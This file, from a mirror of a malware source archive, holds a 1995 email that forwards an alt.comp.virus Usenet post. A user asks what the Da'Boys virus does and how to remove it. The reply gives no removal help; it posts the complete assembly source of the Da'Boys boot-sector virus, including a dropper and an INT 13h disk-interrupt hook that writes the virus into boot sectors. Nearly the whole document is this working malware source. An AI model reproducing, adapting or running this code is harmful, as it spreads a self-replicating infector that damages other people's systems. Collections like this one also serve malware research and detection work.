mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
303 lines
7.3 KiB
NASM
303 lines
7.3 KiB
NASM
|
From smtp Fri Mar 24 16:17 EST 1995
|
||
|
|
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
|
||
|
|
Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
|
||
|
|
Date: Fri, 24 Mar 1995 16:21:26 -0500
|
||
|
|
From: Eric Kilby <ekilby@lynx.dac.neu.edu>
|
||
|
|
Content-Length: 6924
|
||
|
|
Content-Type: text
|
||
|
|
Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
|
||
|
|
To: joshuaw@pobox.jwu.edu
|
||
|
|
Subject: (fwd) Re: Da'boys viurs, new?
|
||
|
|
Newsgroups: alt.comp.virus
|
||
|
|
Status: O
|
||
|
|
|
||
|
|
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
|
||
|
|
From: yojimbo@crl.com (Douglas Mauldin)
|
||
|
|
Newsgroups: alt.comp.virus
|
||
|
|
Subject: Re: Da'boys viurs, new?
|
||
|
|
Date: 23 Mar 1995 23:25:53 -0800
|
||
|
|
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
|
||
|
|
Lines: 276
|
||
|
|
Message-ID: <3kts61$1a3@crl9.crl.com>
|
||
|
|
References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
|
||
|
|
NNTP-Posting-Host: crl9.crl.com
|
||
|
|
X-Newsreader: TIN [version 1.2 PL2]
|
||
|
|
|
||
|
|
;: does anyone know what this virus does? how dangerous is it
|
||
|
|
;: and how do i remove it from my boot sector if the disk is not
|
||
|
|
;: a bootable one?
|
||
|
|
|
||
|
|
;From THe QUaRaNTiNE archives: Da'Boys Source-
|
||
|
|
;Enjoy...
|
||
|
|
|
||
|
|
cseg segment para public 'code'
|
||
|
|
da_boys proc near
|
||
|
|
assume cs:cseg
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
.186
|
||
|
|
TRUE equ 001h
|
||
|
|
FALSE equ 000h
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
;option bytes used
|
||
|
|
|
||
|
|
COM4_OFF equ TRUE ; 3 bytes
|
||
|
|
DA_BOYS_TEXT equ TRUE ; 6 bytes
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
ADDR_MUL equ 004h
|
||
|
|
BIOS_INT_13 equ 0c6h
|
||
|
|
BOOT_INT equ 019h
|
||
|
|
BOOT_OFFSET equ 07c00h
|
||
|
|
COM4_OFFSET equ 00406h
|
||
|
|
COM_OFFSET equ 00100h
|
||
|
|
DISK_INT equ 013h
|
||
|
|
DOS_GET_INT equ 03500h
|
||
|
|
DOS_INT equ 021h
|
||
|
|
DOS_SET_INT equ 02500h
|
||
|
|
FIRST_SECTOR equ 00001h
|
||
|
|
INITIAL_BX equ 00078h
|
||
|
|
LOW_CODE equ 0021dh
|
||
|
|
NEW_INT_13_LOOP equ 0cdh
|
||
|
|
READ_A_SECTOR equ 00201h
|
||
|
|
RETURN_NEAR equ 0c3h
|
||
|
|
SECTOR_SIZE equ 00200h
|
||
|
|
TERMINATE_W_ERR equ 04c00h
|
||
|
|
TWO_BYTES equ 002h
|
||
|
|
VIRGIN_INT_13_B equ 007b4h
|
||
|
|
WRITE_A_SECTOR equ 00301h
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
io_seg segment at 00070h
|
||
|
|
org 00000h
|
||
|
|
io_sys_loads_at label word
|
||
|
|
io_seg ends
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
bios_seg segment at 0f000h
|
||
|
|
org 09315h
|
||
|
|
original_int_13 label word
|
||
|
|
bios_seg ends
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org COM_OFFSET
|
||
|
|
com_code:
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
dropper proc near
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
lds dx,dword ptr ds:[VIRGIN_INT_13_B]
|
||
|
|
mov ax,DOS_SET_INT+BIOS_INT_13
|
||
|
|
int DOS_INT
|
||
|
|
mov dx,offset interrupt_13+LOW_CODE-offset old_jz
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
mov ax,DOS_SET_INT+DISK_INT
|
||
|
|
int DOS_INT
|
||
|
|
mov di,LOW_CODE
|
||
|
|
mov si,offset old_jz
|
||
|
|
push ds
|
||
|
|
pop es
|
||
|
|
call move_to_boot
|
||
|
|
mov ax,READ_A_SECTOR
|
||
|
|
mov cx,FIRST_SECTOR
|
||
|
|
mov dx,00180h
|
||
|
|
mov bx,offset buffer
|
||
|
|
push cs
|
||
|
|
pop es
|
||
|
|
int DISK_INT
|
||
|
|
already_set: mov ax,TERMINATE_W_ERR
|
||
|
|
int DOS_INT
|
||
|
|
dropper endp
|
||
|
|
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 00048h+COM_OFFSET
|
||
|
|
call initialize
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 000ebh+COM_OFFSET
|
||
|
|
old_jz: jz old_code
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 00edh+COM_OFFSET
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
|
||
|
|
move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET
|
||
|
|
xor ax,ax
|
||
|
|
move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1
|
||
|
|
pushf
|
||
|
|
cld
|
||
|
|
rep movs byte ptr es:[di],cs:[si]
|
||
|
|
popf
|
||
|
|
ret
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
old_code: mov ax,word ptr ds:[bx+01ah]
|
||
|
|
dec ax
|
||
|
|
dec ax
|
||
|
|
mov di,BOOT_OFFSET+049h
|
||
|
|
mov bl,byte ptr ds:[di-03ch]
|
||
|
|
xor bh,bh
|
||
|
|
mul bx
|
||
|
|
add ax,word ptr ds:[di]
|
||
|
|
adc dx,word ptr ds:[di+002h]
|
||
|
|
mov bx,00700h
|
||
|
|
mov cl,003h
|
||
|
|
old_loop: pusha
|
||
|
|
call more_old_code
|
||
|
|
popa
|
||
|
|
jc error
|
||
|
|
add ax,0001h
|
||
|
|
adc dx,00h
|
||
|
|
add bx,word ptr ds:[di-03eh]
|
||
|
|
loop old_loop
|
||
|
|
mov ch,byte ptr ds:[di-034h]
|
||
|
|
mov dl,byte ptr ds:[di-025h]
|
||
|
|
mov bx,word ptr ds:[di]
|
||
|
|
mov ax,word ptr ds:[di+002h]
|
||
|
|
jmp far ptr io_sys_loads_at
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
initialize: mov bx,INITIAL_BX
|
||
|
|
mov di,LOW_CODE
|
||
|
|
push ss
|
||
|
|
pop ds
|
||
|
|
jmp short set_interrupts
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
error_will_jmp: mov bx,BOOT_OFFSET
|
||
|
|
IF DA_BOYS_TEXT
|
||
|
|
db 'DA',027h,'BOYS'
|
||
|
|
ELSE
|
||
|
|
push bx
|
||
|
|
ENDIF
|
||
|
|
mov ax,00100h
|
||
|
|
mov dx,08000h
|
||
|
|
load_from_disk: mov cx,ax
|
||
|
|
mov ax,READ_A_SECTOR
|
||
|
|
xchg ch,cl
|
||
|
|
xchg dh,dl
|
||
|
|
int DISK_INT
|
||
|
|
ret
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 00160h+COM_OFFSET
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
more_old_code: mov si,BOOT_OFFSET+018h
|
||
|
|
cmp dx,word ptr ds:[si]
|
||
|
|
jnb stc_return
|
||
|
|
div word ptr ds:[si]
|
||
|
|
inc dl
|
||
|
|
mov ch,dl
|
||
|
|
xor dx,dx
|
||
|
|
IF COM4_OFF
|
||
|
|
mov word ptr ds:[COM4_OFFSET],dx
|
||
|
|
ENDIF
|
||
|
|
div word ptr ds:[si+002h]
|
||
|
|
mov dh,byte ptr ds:[si+00ch]
|
||
|
|
shl ah,006h
|
||
|
|
or ah,ch
|
||
|
|
jmp short load_from_disk
|
||
|
|
stc_return: stc
|
||
|
|
ret
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 0181h+COM_OFFSET
|
||
|
|
ret
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
restart_it: int BOOT_INT
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
set_interrupts: cmp word ptr ds:[di],ax
|
||
|
|
jne is_resident
|
||
|
|
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
|
||
|
|
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
|
||
|
|
mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
|
||
|
|
mov ax,offset interrupt_13+LOW_CODE-offset old_jz
|
||
|
|
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
|
||
|
|
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
|
||
|
|
mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
|
||
|
|
is_resident: jmp move_to_low
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
interrupt_13 proc far
|
||
|
|
cmp ah,high(READ_A_SECTOR)
|
||
|
|
jne jmp_old_int_13
|
||
|
|
cmp cx,FIRST_SECTOR
|
||
|
|
jne jmp_old_int_13
|
||
|
|
cmp dh,cl
|
||
|
|
ja jmp_old_int_13
|
||
|
|
pusha
|
||
|
|
int BIOS_INT_13
|
||
|
|
jc not_boot_sect
|
||
|
|
mov ax,0efe8h
|
||
|
|
xchg word ptr es:[bx+048h],ax
|
||
|
|
cmp ax,078bbh
|
||
|
|
jne not_boot_sect
|
||
|
|
mov di,bx
|
||
|
|
add di,offset old_jz-COM_OFFSET
|
||
|
|
cmp bh,high(BOOT_OFFSET)
|
||
|
|
pushf
|
||
|
|
jne no_key_press
|
||
|
|
mov byte ptr es:[di+00ch],RETURN_NEAR
|
||
|
|
pusha
|
||
|
|
call near ptr hit_any_key
|
||
|
|
popa
|
||
|
|
no_key_press: mov ax,WRITE_A_SECTOR
|
||
|
|
mov si,LOW_CODE
|
||
|
|
call move_to_boot
|
||
|
|
inc cx
|
||
|
|
int BIOS_INT_13
|
||
|
|
popf
|
||
|
|
je restart_it
|
||
|
|
not_boot_sect: popa
|
||
|
|
interrupt_13 endp
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 001e5h+COM_OFFSET
|
||
|
|
jmp_old_int_13: jmp far ptr original_int_13
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
buffer db SECTOR_SIZE dup (0)
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
org 07cedh-LOW_CODE+offset old_jz
|
||
|
|
hit_any_key label word
|
||
|
|
|
||
|
|
;-----------------------------------------------------------------------------
|
||
|
|
|
||
|
|
da_boys endp
|
||
|
|
cseg ends
|
||
|
|
end com_code
|
||
|
|
|
||
|
|
|